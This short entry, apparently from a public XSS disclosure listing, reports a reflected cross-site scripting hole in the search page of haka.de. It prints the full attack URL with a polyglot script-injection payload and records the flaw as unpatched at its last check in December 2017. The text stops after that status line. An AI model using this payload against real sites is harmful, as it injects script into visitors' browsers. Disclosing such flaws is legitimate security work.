haka.de XSS vulnerability

Vulnerable URL: https://www.haka.de/de/catalogsearch/result/?q=%27;alert0//%27;alert1//%22;alert2//%22;alert+3//--%3E%3C/SCRIPT%3E%22%3E%27+%3E%3CSCRIPT%3Ealert/XSSPOSED/%3C/SCRIPT%3E=&%22;alert6+;function+xss// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.12.2017...